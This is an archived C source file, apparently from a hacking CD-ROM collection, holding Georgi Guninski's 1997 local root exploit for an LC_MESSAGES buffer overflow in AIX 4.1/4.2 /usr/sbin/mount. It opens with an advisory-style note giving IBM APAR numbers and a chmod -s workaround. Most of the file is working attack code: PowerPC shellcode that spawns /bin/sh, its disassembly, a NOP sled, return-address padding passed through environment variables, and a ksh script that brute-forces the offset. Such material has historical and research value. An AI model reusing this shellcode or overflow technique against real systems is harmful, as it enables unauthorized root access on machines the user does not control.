home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / test2.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  6.1 KB  |  229 lines

  1. /*
  2. Hello all
  3.  
  4. There seem to exist a buffer overflow condition in AIX 4.2/4.1/? when the shell variable LC_MESSAGES is long enough.
  5. /bin/host and /usr/sbin/mount are vulnerable to spawning a root shell.
  6.  
  7. Solutions:
  8. 1) IBM was informed on 972903 and on 970403 wrote the following:
  9. >The APARs are going through the regression test lab right now and should 
  10. >be available by next week. Here are the numbers:
  11. > AIX 4.2:  APAR IX67377
  12. > AIX 4.1:  APAR IX67407
  13. > AIX 3.2:  APAR IX67405
  14. 2) a little bit ugly, but works:
  15. #chmod -s /bin/host /usr/sbin/mount
  16. 3) I have not tested it, but if you are in the mood you may try to change LC_MESSAGES in /usr/lib/libc.a, /usr/lib/ and everywhere else to something unpredictable.
  17.  
  18. If the C program does not work, try the ksh script which does some brute forcing.
  19.  
  20. PLEASE NOTE my e-mail addresses bellow and do NOT REPLY to this message.
  21.  
  22. Georgi Guninski
  23. guninski@hotmail.com
  24. stgun@sgg.vmei.acad.bg
  25. guninski@linux2.vmei.acad.bg
  26. http://www.geocities.com/ResearchTriangle/1711
  27.  
  28. ---test2.c---------------------------------------------------------------------- 
  29. */
  30. /*
  31. AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
  32.  
  33. ---------------------------------------- 
  34. DISCLAIMER
  35.  
  36. This program is for educational purpose ONLY. Do not use it without 
  37. permission. The usual standard disclaimer applies, especially the 
  38. fact that Georgi Guninski is not liable for any damages caused by 
  39. direct or indirect use of the information or functionality provided 
  40. by this program. Georgi Guninski, his employer or any Internet 
  41. provider bears NO responsibility for content or misuse of this 
  42. program or any derivatives thereof. By using this program you 
  43. accept the fact that any damage (dataloss, system crash, system 
  44. compromise, etc.) caused by the use of this program is not Georgi 
  45. Guninski's responsibility.
  46.  
  47. In case you distribute this, please keep the disclaimer and my addresses.
  48. ----------------------------------------- Use the IBM C compiler.
  49. Compile with: cc -g test2.c
  50. -----------------
  51. Georgi Guninski
  52. guninski@hotmail.com
  53. sgg@vmei.acad.bg
  54. guninski@linux2.vmei.acad.bg
  55. http://www.geocities.com/ResearchTriangle/1711
  56.  
  57.  
  58.  
  59. Suggestions,comments and job offers are welcome!
  60.  
  61.  
  62. 22-Mar-97
  63. */
  64. #include <stdio.h>
  65. #include <stdlib.h>
  66. #include <string.h>
  67.  
  68.  
  69. char prog[100]="/usr/sbin/mount";
  70. char prog2[30]="mount";
  71. extern int execv();
  72.  
  73. char *createvar(char *name,char *value) 
  74. {
  75.  char *c;
  76.  int l;
  77.  l=strlen(name)+strlen(value)+4;
  78.  if (! (c=malloc(l))) 
  79.  {
  80.   perror("error allocating");
  81.   exit(2);
  82.  };
  83.  strcpy(c,name);
  84.  strcat(c,"=");
  85.  strcat(c,value);
  86.  putenv(c);
  87.  return c;
  88. }
  89.  
  90. /*The program*/
  91. main(int argc,char **argv,char **env) 
  92.  {
  93.  /*The code*/
  94.  unsigned int code[]={
  95.  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  96.  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  97.  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  98.  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  99.  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  100.  0x7c0903a6 , 0x4e800420, 0x0
  101.  };
  102.  /* disassembly
  103.  7c0802a6        mfspr   r0,LR
  104.  9421fbb0        stu     SP,-1104(SP) --get stack 
  105.  90010458        st      r0,1112(SP)
  106.  3c60f019        cau     r3,r0,0xf019 --CTR 
  107.  60632c48        lis     r3,r3,11336  --CTR 
  108.  90610440        st       r3,1088(SP)
  109.  3c60d002        cau     r3,r0,0xd002 --TOC 
  110.  60634c0c        lis     r3,r3,19468  --TOC 
  111.  90610444        st      r3,1092(SP)
  112.  3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01' 
  113.  6063696e        lis     r3,r3,26990
  114.  90610438        st      r3,1080(SP)
  115.  3c602f73        cau     r3,r0,0x2f73 
  116.  60636801        lis     r3,r3,26625
  117.  3863ffff        addi    r3,r3,-1
  118.  9061043c        st      r3,1084(SP) --terminate with 0 
  119.  30610438        lis     r3,SP,1080
  120.  7c842278        xor     r4,r4,r4    --argv=NULL 
  121.  80410440        lwz     RTOC,1088(SP)
  122.  80010444        lwz     r0,1092(SP) --jump 
  123.  7c0903a6        mtspr   CTR,r0
  124.  4e800420        bctr              --jump */
  125.  
  126.  #define MAXBUF 600
  127.  unsigned int buf[MAXBUF];
  128.  unsigned int frame[MAXBUF];
  129.  unsigned int i,nop,mn;
  130.  int max;
  131.  int QUIET=0;
  132.  int dobuf=0;
  133.  char VAR[30]="LC_MESSAGES";
  134.  unsigned int toc;
  135.  unsigned int eco;
  136.  unsigned int *pt;
  137.  char *t;
  138.  int egg=1;
  139.  int ch;
  140.  unsigned int reta; /* return address */
  141.  int corr=4604;
  142.  char *args[4];
  143.  char *newenv[8];
  144.  int justframes=1;
  145.  int startwith=0;
  146.  
  147.  mn=78;
  148.  max=100;
  149.  
  150.  if (argc>1) corr = atoi(argv[1]);
  151.  
  152.  pt=(unsigned *) &execv;
  153.  toc=*(pt+1);
  154.  eco=*pt;
  155.  
  156.  if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) 
  157.  {
  158.   perror("Bad parameters");
  159.   exit(1);
  160.  }
  161.  
  162.  #define OO 7
  163.  *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  164.  *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  165.  *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  166.  *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff);
  167.  
  168.  reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  169.  
  170.  for(nop=0;nop<mn;nop++)
  171.  buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  172.  strcpy((char*)&buf[nop],(char*)&code);
  173.  i=nop+strlen( (char*) &code)/4-1;
  174.  
  175.  if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000) || !(reta && 0xff000000))
  176.  {
  177.   perror("Return address has zero");
  178.   exit(5);
  179.  }
  180.  
  181.  while(i++<max)
  182.  buf[i]=reta;
  183.  buf[i]=0;
  184.  
  185.  for(i=0;i<max-1;i++)
  186.  frame[i]=reta;
  187.  frame[i]=0;
  188.  
  189.  if(QUIET)
  190.  {
  191.   puts((char*)&buf);
  192.   fflush(stdout);
  193.   exit(0);
  194.  };
  195.  
  196.  puts("Start...");/*Here we go*/
  197.  
  198.  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  199.  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  200.  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  201.  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  202.  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  203.  newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame : (char*)&buf):NULL;
  204.  newenv[6]=NULL;
  205.  
  206.  args[0]=prog2;
  207.  execve(prog,args,newenv);
  208.  perror("Error executing execve \n");
  209.  /*      Georgi Guninski
  210.  guninski@hotmail.com
  211.  sgg@vmei.acad.bg
  212.  guninski@linux2.vmei.acad.bg
  213.  http://www.geocities.com/ResearchTriangle/1711
  214.  */
  215. }
  216.  
  217. /*
  218. ------------brute-ksh-script---------------------------------------------------- 
  219. #!/bin/ksh
  220. L=3000 
  221. STEP=34 
  222. MAX=16000
  223. while [ $L -lt $MAX ]
  224. do ./a.out $L
  225. L=`expr $L + $STEP`
  226. done
  227. -------------------------------------------------------------------------------- 
  228. */
  229.